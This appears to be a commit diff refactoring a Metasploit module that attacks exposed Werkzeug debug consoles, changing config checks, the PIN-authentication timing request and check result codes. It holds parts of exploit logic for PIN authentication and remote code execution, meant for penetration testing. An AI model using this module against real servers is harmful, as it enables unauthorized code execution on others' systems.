@@ -67,7 +67,7 @@ def initialize(info = {})
6767 ] ,
6868 'Arch' => ARCH_PYTHON ,
6969 'DefaultTarget' => 0 ,
70- 'DisclosureDate' => 'Jun 28, 2015' ,
70+ 'DisclosureDate' => '2015-06-28 ' ,
7171 'Notes' => {
7272 'Stability' => [ CRASH_SAFE ] ,
7373 'Reliability' => [ REPEATABLE_SESSION ] ,
@@ -149,43 +149,43 @@ def all_generation_values_set?
149149 datastore [ 'MACADDRESS' ] && datastore [ 'MACHINEID' ] && datastore [ 'CGROUP' ]
150150 end
151151
152- def config_valid ?
152+ def config_invalid ?
153153 # Check that target supports selected authentication mode
154154 if datastore [ 'TARGET' ] == 3 && datastore [ 'AUTHMODE' ] != 'none'
155- fail_with ( Failure :: BadConfig ,
155+ return CheckCode :: Unknown (
156156 "AUTHMODE is set to '#{ datastore [ 'AUTHMODE' ] } ', but TARGET '#{ datastore [ 'TARGET' ] } ' does not " \
157157 "require/support authentication. Change TARGET or set AUTHMODE to 'none'" )
158158 end
159159
160160 case datastore [ 'AUTHMODE' ]
161161 when 'known-cookie'
162162 unless COOKIE_PATTERN =~ datastore [ 'COOKIE' ]
163- fail_with ( Failure :: BadConfig ,
163+ return CheckCode :: Unknown (
164164 'AUTHMODE is set to known-cookie, so COOKIE must be set to a valid cookie, e.g. ' \
165165 "'__wzda0b1c2d3e4f5a6b7c8d9=9999999999|a0b1c2d3e4f5'" )
166166 end
167167 when 'known-PIN'
168168 unless PIN_PATTERN =~ datastore [ 'PIN' ]
169- fail_with ( Failure :: BadConfig ,
169+ return CheckCode :: Unknown (
170170 'AUTHMODE is set to known-PIN, so PIN must be set to a number with or without hyphens' )
171171 end
172172 when 'generated-cookie'
173173 # Check that *all* values used to generate cookie & pin are set
174174 unless all_generation_values_set?
175- fail_with ( Failure :: BadConfig ,
175+ return CheckCode :: Unknown (
176176 "AUTHMODE is set to #{ datastore [ 'AUTHMODE' ] } , so ALL of the following must be set: " \
177177 'SERVICEUSER, MODULENAME, APPNAME, MACADDRESS, MACHINEID, FLASKPATH & CGROUP' ) # Alphabetise
178178 end
179179 # Check for valid MAC address
180180 unless MAC_PATTERN =~ datastore [ 'MACADDRESS' ]
181- fail_with ( Failure :: BadConfig , "#{ datastore [ 'MACADDRESS' ] } is not a valid MAC address" )
181+ return CheckCode :: Unknown ( "#{ datastore [ 'MACADDRESS' ] } is not a valid MAC address" )
182182 end
183183 end
184184
185185 # Check that requestbody is not specified if method doesn't support it
186186 return unless datastore [ 'REQUESTBODY' ] && !METHODS_WITH_BODY . include? ( datastore [ 'METHOD' ] )
187187
188- fail_with ( Failure :: BadConfig ,
188+ return CheckCode :: Unknown (
189189 "REQUESTBODY set but METHOD ('#{ datastore [ 'METHOD' ] } ') does not support a request body" )
190190 end
191191
@@ -216,15 +216,15 @@ def secret_and_frame
216216
217217 # Authenticate with PIN to retrieve cookie
218218 def cookies ( secret )
219- start = Process . clock_gettime ( Process :: CLOCK_MONOTONIC )
220- res = send_request_cgi (
221- 'uri' => normalize_uri ( target_uri ) ,
222- 'vars_get' => { '__debugger__' => 'yes' ,
223- 'cmd' => 'pinauth' ,
224- 'pin' => datastore [ 'PIN' ] ,
225- 's' => secret }
226- )
227- finish = Process . clock_gettime ( Process :: CLOCK_MONOTONIC )
219+ res , duration = Rex :: Stopwatch . elapsed_time do
220+ send_request_cgi (
221+ 'uri' => normalize_uri ( target_uri ) ,
222+ 'vars_get' => { '__debugger__' => 'yes' ,
223+ 'cmd' => 'pinauth' ,
224+ 'pin' => datastore [ 'PIN' ] ,
225+ 's' => secret }
226+ )
227+ end
228228 unless res
229229 fail_with ( Failure ::TimeoutExpired ,
230230 "Unable to connect to http#{ 's' if datastore [ 'SSL' ] } ://#{ datastore [ 'RHOST' ] } :#{ datastore [ 'RPORT' ] } " )
@@ -235,7 +235,6 @@ def cookies(secret)
235235 'exhausted. The remote application must be restarted to re-enable PIN authentication.' )
236236 end
237237 unless COOKIE_PATTERN =~ res . get_cookies
238- duration = ( finish - start ) . round ( 1 )
239238 attempts_text = duration < 5 ? 'at least' : 'fewer than'
240239 fail_with ( Failure ::NoAccess ,
241240 "Failed to authenticate using PIN: #{ datastore [ 'PIN' ] } . However, the application did not report " \
@@ -303,29 +302,25 @@ def check_code_exec(secret, frame, cookies = '')
303302 end
304303
305304 def check
306- config_valid?
305+ c = config_invalid?
306+ return c if c
307307 match = secret_and_frame
308308 unless match
309- print_error 'HTTP response not recognised as Werkzeug'
310- return Exploit ::CheckCode ::Unknown
309+ return CheckCode ::Unknown ( 'HTTP response not recognised as Werkzeug' )
311310 end
312311 unless match [ :evalex_enabled ]
313- print_error 'Debugger does not allow code execution'
314- return Exploit ::CheckCode ::Safe # blud
312+ return CheckCode ::Safe ( 'Debugger does not allow code execution' )
315313 end
316314 print_status 'Debugger allows code execution'
317315 if match [ :pin_required ]
318- print_warning 'Debugger requires authentication'
319- return Exploit ::CheckCode ::Detected
316+ return CheckCode ::Detected ( 'Debugger requires authentication' )
320317 end
321318 print_status 'Debugger does not require authentication'
322- # Now check whether code execution is possible by evaluating '1'
319+ # Now check whether code execution is possible by evaluating something
323320 unless check_code_exec ( match [ :secret ] , match [ :frame ] || 0 )
324- vprint_error 'Attempted code execution failed'
325- Exploit ::CheckCode ::Safe
321+ return CheckCode ::Safe ( 'Attempted code execution failed' )
326322 end
327- print_status 'Code execution was successful'
328- Exploit ::CheckCode ::Vulnerable
323+ CheckCode ::Vulnerable ( 'Code execution was successful' )
329324 end
330325
331326 def exploit
@@ -345,7 +340,7 @@ def exploit
345340 cookies = generated_cookie
346341 end
347342
348- # Check whether code execution is possible by evaluating '1'
343+ # Check whether code execution is possible by evaluating something
349344 unless check_code_exec ( match [ :secret ] , match [ :frame ] || 0 , cookies )
350345 fail_with ( Failure ::NoAccess , 'Response indicates that code execution failed' )
351346 end
0 commit comments